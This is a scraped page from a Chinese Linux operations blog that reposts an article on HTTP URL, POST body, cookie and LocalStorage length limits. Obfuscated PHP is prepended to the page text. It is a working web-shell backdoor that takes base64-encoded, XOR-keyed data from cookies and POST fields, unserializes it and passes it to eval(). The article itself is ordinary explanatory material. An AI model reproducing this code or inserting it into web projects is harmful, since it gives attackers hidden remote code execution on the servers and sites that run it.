$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Http协议中的各种长度限制总结 | Linux运维部落

Http协议中的各种长度限制总结

HTTP1.0的格式

request(HTTP请求消息)
结构:一个请求行.部分消息头,以及实体内容,其中的一些消息内容都是可选择的.消息头和实体内容之间要用空行分开.

GET /index.html HTTP/1.1 //请求头,下面都是消息头.
Accept: */*
Accept-Languang:en-us
Connection:keep-alive
Host:localhost
Referer:HTTP://localhost/index.html
User-Agent:Mozilla/4.0
Accept-Encoding:gzip,deflate//到上面都是消息头,下面一个空行表示完了,接下来是实体内容.

Response响应消息头

在接收并解析请求消息后,服务器以 HTTP 响应消息响应。相当服务器对客户的http的回应
结构:一个状态行.部分消息

头,以及实体内容,其中的一些消息内容都是可选择的.消息头和实体内容之间要用空行分开.

HTTP/1.1 200ok           //状态行.下面为消息头
Server:Apache2.2
Date:Thu, 13 Jul 2008 16:29:46 GMT
Content-Length:2222
Content-Type:text/html
Cache_control:private //和请求消息头一样下面有一个空行

注意:使用get的方法的请求消息中是不能包含实体内容的,只有使用post,put和delete的方法请求消息中才能有实体内容.对 HTTP1.1来讲,如果HTTP中有实体内容,但没有使用权chunked传输编码.那么消息头部分必须包含内容长度字段.不然不知什么时候内容才结 束。HTTP1.1中一定要有host字段

以上消息头的结构:每个消息头都包含一个头字段名称,然后依次是冒号,空格值,回车和换行符,字段不区分大小写.对消息头中的消息头可以任何顺序排列.
消息头可以分为信息头,请求头,响应头,实体头四类
如果有多个选项,可以用逗号分隔Accept-Encoding:gzip ,deflate

1. URL长度限制

在Http1.1协议中并没有提出针对URL的长度进行限制,RFC协议里面是这样描述的,HTTP协议并不对URI的长度做任何的限制,服务器端必须能够处理任何它们所提供服务多能接受的URI,并且能够处理无限长度的URI,如果服务器不能处理过长的URI,那么应该返回414状态码。

虽然Http协议规定了,但是Web服务器和浏览器对URI都有自己的长度限制。

服务器的限制:我接触的最多的服务器类型就是Nginx和Tomcat,对于url的长度限制,它们都是通过控制http请求头的长度来进行限制的,nginx的配置参数为large_client_header_buffers,tomcat的请求配置参数为maxHttpHeaderSize,都是可以自己去进行设置。

浏览器的限制:每种浏览器也会对url的长度有所限制,下面是几种常见浏览器的url长度限制:(单位:字符)

IE : 2803

Firefox:65536

Chrome:8182

Safari:80000

Opera:190000

对于get请求,在url的长度限制范围之内,请求的参数个数没有限制。

2. Post数据的长度限制

Post数据的长度限制与url长度限制类似,也是在Http协议中没有规定长度限制,长度限制可以在服务器端配置最大http请求头长度的方式来实现。

3. Cookie的长度限制

Cookie的长度限制分这么几个方面来总结。

(1) 浏览器所允许的每个域下的最大cookie数目,没有去自己测试,从网上找到的资料大概是这么个情况

IE :原先为20个,后来升级为50个

Firefox: 50个

Opera:30个

Chrome:180个

Safari:无限制

当Cookie数超过限制数时浏览器的行为:IE和Opera会采用LRU算法将老的不常使用的Cookie清除掉,Firefox的行为是随机踢出某些Cookie的值。当然无论怎样的策略,还是尽量不要让Cookie数目超过浏览器所允许的范围。

(2) 浏览器所允许的每个Cookie的最大长度

Firefox和Safari:4079字节

Opera:4096字节

IE:4095字节

(3) 服务器中Http请求头长度的限制。Cookie会被附在每次http请求头中传递给服务器,因此还会受到服务器请求头长度的影响。

4. Html5 LocalStorage

Html5提供了本地存储机制来供Web应用在客户端存储数据,尽管这个并不属于Http协议的一部分,但是随着Html5的流行,我们可能需要越来越多使用LocalStorage,甚至当它普及的时候跟它打交道就会同今天我们跟Cookie打交道一样多。

对于LocalStorage的长度限制,同Cookie的限制类似,也是浏览器针对域来限制,只不过cookie限制的是个数,LocalStorage限制的是长度:

Firefox\Chrome\Opera都是允许每个域的最大长度为5MB

但是这次IE比较大方,允许的最大长度是10MB

转自:http://blog.csdn.net/hguisu/article/details/8583552

原创文章,作者:s19930811,如若转载,请注明出处:http://www.178linux.com/2653

(1)
上一篇 2015-04-04 22:27
下一篇 2015-04-04 22:33

相关推荐

  • 初识shell脚本编程

    shell脚本基础 shell脚本是包含一些命令或声明,并符合一定格式的文本文件 一般格式要求: 1.首行shebang机制 #!/bin/bash #!/bin/python #!/usr/bin/perl 2.注释信息 以#开头,可写明脚本用途,作者,版本,时间等 3.脚本正文内容, 创建shell脚本 以bash为例 第一行定格#!/bin/bash …

    Linux干货 2016-08-15
  • Nginx 负载均衡多个nmmp主机

    设计拓扑图 一、Memcache简介 cache(缓存系统) 高性能分布式缓存服务器,缓存所有的“可流式化”数据:livejournal旗下Danga Interacive公司 程序=指令+数据 指令:程序 数据:IO操作 文件系统: 特征:协议简单  基于libevent的事件处理  内置内存存储方式  memcached 不…

    2014-09-17
  • 域名解析服务(DNS)之bind

    DNS简介 DNS是Domain Name System的简称,DNS的主要作用就是讲主机名解析成ip地址的过程,因为在计算机网络当中是通过ip地址来进行主机间通信的,ipv4的地址是32位,人类记忆起来十分困难,更何况ipv6的128位,所以我们需要一个简单容易记忆的字符串来替换ip地址,当我们访问www.baidu.com它能知道访问的是某个ip地址的服…

    Linux干货 2016-10-09
  • 第三周作业

    1. 列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次则显示一次即可。 who | cut -d' ' -f1 | sort -u 2. 取出最后登录当前系统的用户的相关信息 grep  "$(who …

    Linux干货 2016-12-19
  • N22-第六周博客作业

    请详细总结vim编辑器的使用并完成以下练习题 1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#; :%s@^[[:space:]]\+[^[:space:]]@#\1@g 或 :%s@^[[:space:]]\+[^[:space:]]@#&a…

    Linux干货 2016-09-26